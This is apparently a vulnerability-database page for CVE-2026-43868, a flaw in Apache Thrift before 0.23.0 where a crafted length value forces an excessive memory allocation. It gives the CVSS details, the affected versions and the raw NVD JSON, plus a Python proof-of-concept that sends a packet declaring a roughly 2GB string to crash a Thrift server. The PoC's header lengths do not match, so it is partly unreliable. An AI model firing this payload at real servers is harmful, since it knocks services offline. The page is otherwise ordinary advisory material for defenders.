Security Vulnerability Report
中文
CVE-2026-43868 CVSS 5.3 MEDIUM

CVE-2026-43868

Published: 2026-05-05 09:16:04
Last Modified: 2026-05-06 18:05:16

Description

Memory Allocation with Excessive Size Value vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version 0.23.0, which fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:* - VULNERABLE
Apache Thrift < 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct def exploit_poc(host, port): """ Proof of Concept for CVE-2026-43868 (Memory Allocation with Excessive Size Value) This script sends a malicious Thrift message with a massive string length to trigger OOM. """ try: # Connect to the target Thrift server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Construct a malicious message header (simplified for demonstration) # Assuming a standard Thrift binary protocol header bad_message = b"\x80\x01\x00\x01" # Strict protocol, message type bad_message += b"\x00\x00\x00\x0b" # Message name length (11) bad_message += b"malicious" # Message name bad_message += b"\x00\x00\x00\x00" # Sequence ID # Payload: A string field with excessive length # Field ID 1 (type 11 - String) field_header = b"\x0B" # Length: 2GB (approx) to force huge allocation length_bytes = struct.pack(">I", 0x7FFFFFFF) payload = field_header + length_bytes # Note: We do not send the actual string data, just the length header, # as the server attempts allocation upon reading the length. full_packet = bad_message + payload print(f"[*] Sending malicious packet to {host}:{port}...") s.send(full_packet) print("[+] Packet sent. Check if the server crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" target_port = 9090 exploit_poc(target_host, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43868", "sourceIdentifier": "[email protected]", "published": "2026-05-05T09:16:04.123", "lastModified": "2026-05-06T18:05:16.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory Allocation with Excessive Size Value vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/zj76dtwnbbs1m7z3focf4wd51pqpsmn9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}